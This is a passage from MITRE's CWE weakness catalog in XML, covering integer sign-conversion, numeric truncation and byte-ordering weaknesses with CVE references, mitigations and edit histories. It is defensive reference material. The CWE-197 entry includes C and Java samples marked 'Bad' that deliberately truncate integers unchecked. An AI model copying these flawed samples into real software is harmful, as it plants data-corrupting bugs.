         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2007-4268</Reference>
               <Description>Chain: integer signedness error (CWE-195) passes signed comparison, leading to heap overflow (CWE-122)</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-4268</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Signed to unsigned conversion error</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP1</Entry_ID>
               <Entry_Name>Glitch in computation</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>INT31-C</Entry_ID>
               <Entry_Name>Ensure that integer conversions do not result in lost or misinterpreted data</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-62" Section="Chapter 6, &#34;Type Conversions&#34;, Page 223"/>
            <Reference External_Reference_ID="REF-18"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CLASP</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Description, Other_Notes, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Observed_Examples, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="196" Name="Unsigned to Signed Conversion Error" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product uses an unsigned primitive and performs a cast to a signed primitive, which can produce an unexpected value if the value of the unsigned primitive can not be represented using a signed primitive.</Description>
         <Extended_Description>Although less frequent an issue than signed-to-unsigned conversion, unsigned-to-signed conversion can be the perfect precursor to dangerous buffer underwrite conditions that allow attackers to move down the stack where they otherwise might not have access in a normal buffer overflow condition. Buffer underwrites occur frequently when large unsigned values are cast to signed values, and then used as indexes into a buffer or for pointer arithmetic.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="681" View_ID="1000" Ordinal="Primary"/>
             <Related_Weakness Nature="ChildOf" CWE_ID="681" View_ID="1305" Ordinal="Primary"/>
			 <Related_Weakness Nature="ChildOf" CWE_ID="681" View_ID="1340" Ordinal="Primary"/>
            <Related_Weakness Nature="CanAlsoBe" CWE_ID="124" View_ID="1000"/>
            <Related_Weakness Nature="CanAlsoBe" CWE_ID="120" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Name="C" Prevalence="Undetermined"/>
            <Language Name="C++" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>Medium</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Availability</Scope>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
               <Note>Incorrect sign conversions generally lead to undefined behavior, and therefore crashes.</Note>
            </Consequence>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Modify Memory</Impact>
               <Note>If a poor cast lead to a buffer overflow or similar condition, data integrity may be affected.</Note>
            </Consequence>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Confidentiality</Scope>
               <Scope>Availability</Scope>
               <Scope>Access Control</Scope>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Impact>Bypass Protection Mechanism</Impact>
               <Note>Improper signed-to-unsigned conversions without proper checking can sometimes trigger buffer overflows which can be used to execute arbitrary code. This is usually outside the scope of a program's implicit security policy.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Requirements</Phase>
               <Description>Choose a language which is not subject to these casting flaws.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Design object accessor functions to implicitly check values for valid sizes. Ensure that all functions which will be used as a size are checked previous to use as a size. If the language permits, throw exceptions rather than using in-band errors.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Error check the return values of all functions. Be aware of implicit casts made, and use unsigned variables for sizes if at all possible.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Unsigned to signed conversion error</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP1</Entry_ID>
               <Entry_Name>Glitch in computation</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="92"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-62" Section="Chapter 6, &#34;Type Conversions&#34;, Page 223"/>
            <Reference External_Reference_ID="REF-18"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CLASP</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Description, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="197" Name="Numeric Truncation Error" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>Truncation errors occur when a primitive is cast to a primitive of a smaller size and data is lost in the conversion.</Description>
         <Extended_Description>When a primitive is cast to a smaller primitive, the high order bits of the large value are lost in the conversion, potentially resulting in an unexpected value that is not equal to the original value. This value may be required as an index into a buffer, a loop iterator, or simply necessary state data. In any case, the value cannot be trusted and the system will be in an undefined state. While this method may be employed viably to isolate the low bits of a value, this usage is rare, and truncation usually implies that an implementation error has occurred.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="681" View_ID="1000" Ordinal="Primary"/>
             <Related_Weakness Nature="ChildOf" CWE_ID="681" View_ID="1305" Ordinal="Primary"/>
			 <Related_Weakness Nature="ChildOf" CWE_ID="681" View_ID="1340" Ordinal="Primary"/>
            <Related_Weakness Nature="CanAlsoBe" CWE_ID="195" View_ID="1000"/>
            <Related_Weakness Nature="CanAlsoBe" CWE_ID="196" View_ID="1000"/>
            <Related_Weakness Nature="CanAlsoBe" CWE_ID="192" View_ID="1000"/>
            <Related_Weakness Nature="CanAlsoBe" CWE_ID="194" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Name="C" Prevalence="Undetermined"/>
            <Language Name="C++" Prevalence="Undetermined"/>
            <Language Name="Java" Prevalence="Undetermined"/>
            <Language Name="C#" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>Low</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Modify Memory</Impact>
               <Note>The true value of the data is lost and corrupted data is used.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-13">
             <Method>Fuzzing</Method>
             <Description>Fuzz testing (fuzzing) is a powerful technique for generating large numbers of diverse inputs - either randomly or algorithmically - and dynamically invoking the code with those inputs. Even with random inputs, it is often capable of generating unexpected results such as crashes, memory corruption, or resource consumption. Fuzzing effectively produces repeatable test cases that clearly indicate bugs, which helps developers to diagnose the issues.</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Ensure that no casts, implicit or explicit, take place that move from a larger size primitive or a smaller size primitive.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>This example, while not exploitable, shows the possible mangling of values associated with truncation errors:</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>int intPrimitive;<xhtml:br/>short shortPrimitive;<xhtml:br/>intPrimitive = (int)(~((int)0) ^ (1 &lt;&lt; (sizeof(int)*8-1)));<xhtml:br/>shortPrimitive = intPrimitive;<xhtml:br/>printf("Int MAXINT: %d\nShort MAXINT: %d\n", intPrimitive, shortPrimitive);</xhtml:div>
               </Example_Code>
               <Body_Text>The above code, when compiled and run on certain systems, returns the following output:</Body_Text>
               <Example_Code Nature="Result">
                  <xhtml:div>Int MAXINT: 2147483647<xhtml:br/>Short MAXINT: -1</xhtml:div>
               </Example_Code>
               <Body_Text>This problem may be exploitable when the truncated value is used as an array index, which can happen implicitly when 64-bit values are used as indexes, as they are truncated to 32 bits.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>In the following Java example, the method updateSalesForProduct is part of a business application class that updates the sales information for a particular product. The method receives as arguments the product ID and the integer amount sold. The product ID is used to retrieve the total product count from an inventory object which returns the count as an integer. Before calling the method of the sales object to update the sales count the integer values are converted to The primitive type short since the method requires short type for the method arguments.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>...<xhtml:br/>
                     <xhtml:i>// update sales database for number of product sold with product ID</xhtml:i>
                     <xhtml:br/>public void updateSalesForProduct(String productID, int amountSold) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>
                           <xhtml:i>// get the total number of products in inventory database</xhtml:i>
                           <xhtml:br/>int productCount = inventory.getProductCount(productID);<xhtml:br/>
                           <xhtml:i>// convert integer values to short, the method for the</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// sales object requires the parameters to be of type short</xhtml:i>
                           <xhtml:br/>short count = (short) productCount;<xhtml:br/>short sold = (short) amountSold;<xhtml:br/>
                           <xhtml:i>// update sales database for product</xhtml:i>
                           <xhtml:br/>sales.updateSalesCount(productID, count, sold);</xhtml:div>
                     </xhtml:div>}<xhtml:br/>...</xhtml:div>
               </Example_Code>
               <Body_Text>However, a numeric truncation error can occur if the integer values are higher than the maximum value allowed for the primitive type short. This can cause unexpected results or loss or corruption of data. In this case the sales database may be corrupted with incorrect data. Explicit casting from a from a larger size primitive type to a smaller size primitive type should be prevented. The following example an if statement is added to validate that the integer values less than the maximum value for the primitive type short before the explicit cast and the call to the sales method.</Body_Text>
               <Example_Code Nature="Good" Language="Java">
                  <xhtml:div>...<xhtml:br/>
                     <xhtml:i>// update sales database for number of product sold with product ID</xhtml:i>
                     <xhtml:br/>public void updateSalesForProduct(String productID, int amountSold) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>
                           <xhtml:i>// get the total number of products in inventory database</xhtml:i>
                           <xhtml:br/>int productCount = inventory.getProductCount(productID);<xhtml:br/>
                           <xhtml:i>// make sure that integer numbers are not greater than</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// maximum value for type short before converting</xhtml:i>
                           <xhtml:br/>if ((productCount &lt; Short.MAX_VALUE) &amp;&amp; (amountSold &lt; Short.MAX_VALUE)) {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>
                                 <xhtml:br/>
                                 <xhtml:i>// convert integer values to short, the method for the</xhtml:i>
                                 <xhtml:br/>
                                 <xhtml:br/>
                                 <xhtml:i>// sales object requires the parameters to be of type short</xhtml:i>
                                 <xhtml:br/>short count = (short) productCount;<xhtml:br/>short sold = (short) amountSold;<xhtml:br/>
                                 <xhtml:i>// update sales database for product</xhtml:i>
                                 <xhtml:br/>sales.updateSalesCount(productID, count, sold);</xhtml:div>
                           </xhtml:div>
                           <xhtml:br/>else {<xhtml:br/>
                           <xhtml:i>// throw exception or perform other processing</xhtml:i>
                           <xhtml:br/>
                           <xhtml:div style="margin-left:1em;">...</xhtml:div>}</xhtml:div>
                     </xhtml:div>}<xhtml:br/>...</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2020-17087</Reference>
               <Description>Chain: integer truncation (CWE-197) causes small buffer allocation (CWE-131) leading to out-of-bounds write (CWE-787) in kernel pool, as exploited in the wild per CISA KEV.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2020-17087</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-0231</Reference>
               <Description>Integer truncation of length value leads to heap-based buffer overflow.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-0231</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-3282</Reference>
               <Description>Size of a particular type changes for 64-bit platforms, leading to an integer truncation in document processor causes incorrect index to be generated.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-3282</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Numeric truncation error</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Truncation error</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>FIO34-C</Entry_ID>
               <Entry_Name>Distinguish between characters read from a file and EOF or WEOF</Entry_Name>
               <Mapping_Fit>CWE More Abstract</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>FLP34-C</Entry_ID>
               <Entry_Name>Ensure that floating point conversions are within range of the new type</Entry_Name>
               <Mapping_Fit>CWE More Abstract</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>INT02-C</Entry_ID>
               <Entry_Name>Understand integer conversion rules</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>INT05-C</Entry_ID>
               <Entry_Name>Do not use input functions to convert character data if they cannot handle all possible inputs</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>INT31-C</Entry_ID>
               <Entry_Name>Ensure that integer conversions do not result in lost or misinterpreted data</Entry_Name>
               <Mapping_Fit>CWE More Abstract</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>NUM12-J</Entry_ID>
               <Entry_Name>Ensure conversions of numeric types to narrower types do not result in lost or misinterpreted data</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP1</Entry_ID>
               <Entry_Name>Glitch in computation</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-62" Section="Chapter 6, &#34;Truncation&#34;, Page 259"/>
         </References>
         <Notes>
            <Note Type="Research Gap">This weakness has traditionally been under-studied and under-reported, although vulnerabilities in popular software have been published in 2008 and 2009.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Description, Observed_Examples, Other_Notes, Research_Gaps</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-06-28</Modification_Date>
					<Modification_Comment>updated Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="198" Name="Use of Incorrect Byte Ordering" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product receives input from an upstream component, but it does not account for byte ordering (e.g. big-endian and little-endian) when processing the input, causing an incorrect number or value to be used.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="188" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Unexpected State</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
            <Detection_Method>
               <Method>Black Box</Method>
               <Description>Because byte ordering bugs are usually very noticeable even with normal inputs, this bug is more likely to occur in rarely triggered error conditions, making them difficult to detect using black box methods.</Description>
            </Detection_Method>
         </Detection_Methods>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Numeric Byte Ordering Error</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>FIO12-J</Entry_ID>
               <Entry_Name>Provide methods to read and write little-endian data</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Notes>
            <Note Type="Research Gap">Under-reported.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
